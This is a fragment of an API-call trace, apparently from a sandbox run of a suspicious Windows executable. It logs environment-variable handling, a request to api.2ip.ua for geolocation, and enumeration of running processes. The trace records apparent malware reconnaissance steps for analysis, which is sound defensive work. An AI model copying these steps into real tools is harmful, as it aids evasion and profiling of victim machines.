RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x54) returned 0x752b50 [0034.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5504", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0034.998] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x18) returned 0x747928 [0034.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5504", cchWideChar=-1, lpMultiByteStr=0x747928, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5504", lpUsedDefaultChar=0x0) returned 24 [0034.998] GetLastError () returned 0x0 [0034.998] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x54 [0034.998] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x58) returned 0x752b50 [0034.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0034.998] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1b) returned 0x7511b8 [0034.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x7511b8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0034.998] GetLastError () returned 0x0 [0034.998] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x58 [0034.998] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x5c) returned 0x752b50 [0034.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0034.998] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x24) returned 0x74cd10 [0034.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x74cd10, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0034.998] GetLastError () returned 0x0 [0034.998] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x5c [0034.998] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x60) returned 0x752b50 [0034.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0034.998] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x29) returned 0x74d438 [0034.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x74d438, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0034.998] GetLastError () returned 0x0 [0034.998] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x60 [0034.999] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x64) returned 0x752b50 [0034.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0034.999] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x7511e0 [0034.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x7511e0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0034.999] GetLastError () returned 0x0 [0034.999] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x64 [0034.999] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x68) returned 0x752b50 [0034.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0034.999] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x41) returned 0x7490a0 [0034.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x7490a0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0034.999] GetLastError () returned 0x0 [0034.999] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x68 [0034.999] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x6c) returned 0x752b50 [0034.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0034.999] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x17) returned 0x747948 [0034.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x747948, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0034.999] GetLastError () returned 0x0 [0034.999] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x6c [0034.999] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x70) returned 0x752b50 [0034.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0034.999] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0xf) returned 0x7508f8 [0034.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x7508f8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0034.999] GetLastError () returned 0x0 [0034.999] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x70 [0034.999] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x74) returned 0x752b50 [0034.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0034.999] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x16) returned 0x747968 [0034.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x747968, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0034.999] GetLastError () returned 0x0 [0034.999] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x74 [0034.999] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x78) returned 0x752b50 [0034.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0034.999] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x2a) returned 0x74d470 [0034.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x74d470, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0034.999] GetLastError () returned 0x0 [0034.999] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x78 [0035.000] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x7c) returned 0x752b50 [0035.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0035.000] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x29) returned 0x74d4a8 [0035.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x74d4a8, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0035.000] GetLastError () returned 0x0 [0035.000] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x7c [0035.000] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x80) returned 0x752b50 [0035.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0035.000] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x15) returned 0x747988 [0035.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x747988, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0035.000] GetLastError () returned 0x0 [0035.000] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x80 [0035.000] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x84) returned 0x752b50 [0035.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0035.000] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x751208 [0035.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x751208, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0035.000] GetLastError () returned 0x0 [0035.000] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x84 [0035.000] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x88) returned 0x752b50 [0035.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0035.000] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x2a) returned 0x74d4e0 [0035.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x74d4e0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0035.000] GetLastError () returned 0x0 [0035.000] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x88 [0035.000] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x8c) returned 0x752b50 [0035.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0035.000] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x12) returned 0x7479a8 [0035.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x7479a8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0035.000] GetLastError () returned 0x0 [0035.000] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x8c [0035.000] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x90) returned 0x752b50 [0035.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0035.000] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x18) returned 0x7479c8 [0035.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x7479c8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0035.000] GetLastError () returned 0x0 [0035.000] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x90 [0035.000] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x94) returned 0x752b50 [0035.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0035.001] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x46) returned 0x7490f0 [0035.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x7490f0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0035.001] GetLastError () returned 0x0 [0035.001] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x94 [0035.001] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x98) returned 0x752b50 [0035.001] GetLastError () returned 0x0 [0035.072] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753e28) returned 0x80 [0035.072] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753e28) returned 0x80 [0035.072] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753e28) returned 0x80 [0035.078] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8ec) returned 0x752bf0 [0035.126] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753e28) returned 0x80 [0035.126] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x750910 [0035.126] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753e28) returned 0x80 [0035.126] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753e28) returned 0x80 [0035.127] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753e28) returned 0x80 [0035.225] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753e28) returned 0x80 [0035.233] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0036.255] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x745be0 [0036.260] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0044.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18be18, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18e618 | out: lpBuffer=0x18be18*, lpdwNumberOfBytesRead=0x18e618*=0x1d0) returned 1 [0044.691] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0044.693] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0044.693] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x75ed58 [0044.700] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e0) returned 0x33d0e00 [0044.705] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33d0e00 | out: hHeap=0x730000) returned 1 [0044.710] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x75ed58 | out: hHeap=0x730000) returned 1 [0044.710] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x745be0 | out: hHeap=0x730000) returned 1 [0044.716] GetCurrentProcess () returned 0xffffffff [0044.716] GetLastError () returned 0x2 [0044.716] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0044.721] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x780560 [0044.727] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8ec) returned 0x33f13e8 [0044.732] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x800) returned 0x783df8 [0044.732] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x783df8, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\host1506_2020-06-15_14-07.exe")) returned 0x43 [0044.732] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0044.737] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x810) returned 0x33f1ce0 [0044.737] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe\" " [0044.737] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe\" ", pNumArgs=0x18e6f8 | out: pNumArgs=0x18e6f8) returned 0x784600*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" [0044.738] lstrcpyW (in: lpString1=0x18f388, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" [0044.743] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe\" " [0044.743] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe\" ", pNumArgs=0x18e694 | out: pNumArgs=0x18e694) returned 0x784600*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" [0044.743] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe") returned="host1506_2020-06-15_14-07.exe" [0044.743] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76d30000 [0044.744] GetProcAddress (hModule=0x76d30000, lpProcName="EnumProcesses") returned 0x0 [0044.744] GetProcAddress (hModule=0x76d30000, lpProcName="EnumProcessModules") returned 0x0 [0044.744] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleBaseNameW") returned 0x0 [0044.744] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x77060000 [0044.809] GetProcAddress (hModule=0x77060000, lpProcName="EnumProcesses") returned 0x77061544 [0044.809] GetProcAddress (hModule=0x77060000, lpProcName="EnumProcessModules") returned 0x77061408 [0044.809] GetProcAddress (hModule=0x77060000, lpProcName="GetModuleBaseNameW") returned 0x7706152c [0044.809] EnumProcesses (in: lpidProcess=0x183e90, cb=0xa000, lpcbNeeded=0x18e6a0 | out: lpidProcess=0x183e90, lpcbNeeded=0x18e6a0) returned 1 [0044.814] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0044.814] CloseHandle (hObject=0x0) returned 0 [0044.814] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0044.814] CloseHandle (hObject=0x0) returned 0 [0044.814] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0044.814] CloseHandle (hObject=0x0) returned 0 [0044.814] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0044.814] CloseHandle (hObject=0x0) returned 0 [0044.814] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0044.814] CloseHandle (hObject=0x0) returned 0 [0044.814] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0044.814] CloseHandle (hObject=0x0) returned 0 [0044.814] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1ac) returned 0x0 [0044.814] CloseHandle (hObject=0x0) returned 0 [0044.814] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d8) returned 0x0 [0044.814] CloseHandle (hObject=0x0) returned 0 [0044.814] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e0) returned 0x0 [0044.814] CloseHandle (hObject=0x0) returned 0 [0044.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e8) returned 0x0 [0044.815] CloseHandle (hObject=0x0) returned 0 [0044.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x250) returned 0x0 [0044.815] CloseHandle (hObject=0x0) returned 0 [0044.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x294) returned 0x0 [0044.815] CloseHandle (hObject=0x0) returned 0 [0044.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c8) returned 0x0 [0044.815] CloseHandle (hObject=0x0) returned 0 [0044.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x338) returned 0x0 [0044.815] CloseHandle (hObject=0x0) returned 0 [0044.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x370) returned 0x0 [0044.815] CloseHandle (hObject=0x0) returned 0 [0044.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3ac) returned 0x0 [0044.815] CloseHandle (hObject=0x0) returned 0 [0044.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc8) returned 0x0 [0044.815] CloseHandle (hObject=0x0) returned 0 [0044.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11c) returned 0x0 [0044.815] CloseHandle (hObject=0x0) returned 0 [0044.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x444) returned 0x5bc [0044.815] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 0 [0044.815] CloseHandle (hObject=0x5bc) returned 1 [0044.816] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x454) returned 0x5bc [0044.816] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 0 [0044.816] CloseHandle (hObject=0x5bc) returned 1 [0044.816] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x47c) returned 0x0 [0044.816] CloseHandle (hObject=0x0) returned 0 [0044.816] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4bc) returned 0x0 [0044.816] CloseHandle (hObject=0x0) returned 0 [0044.816] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4c8) returned 0x5bc [0044.816] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 0 [0044.816] CloseHandle (hObject=0x5bc) returned 1 [0044.816] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x588) returned 0x5bc [0044.816] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 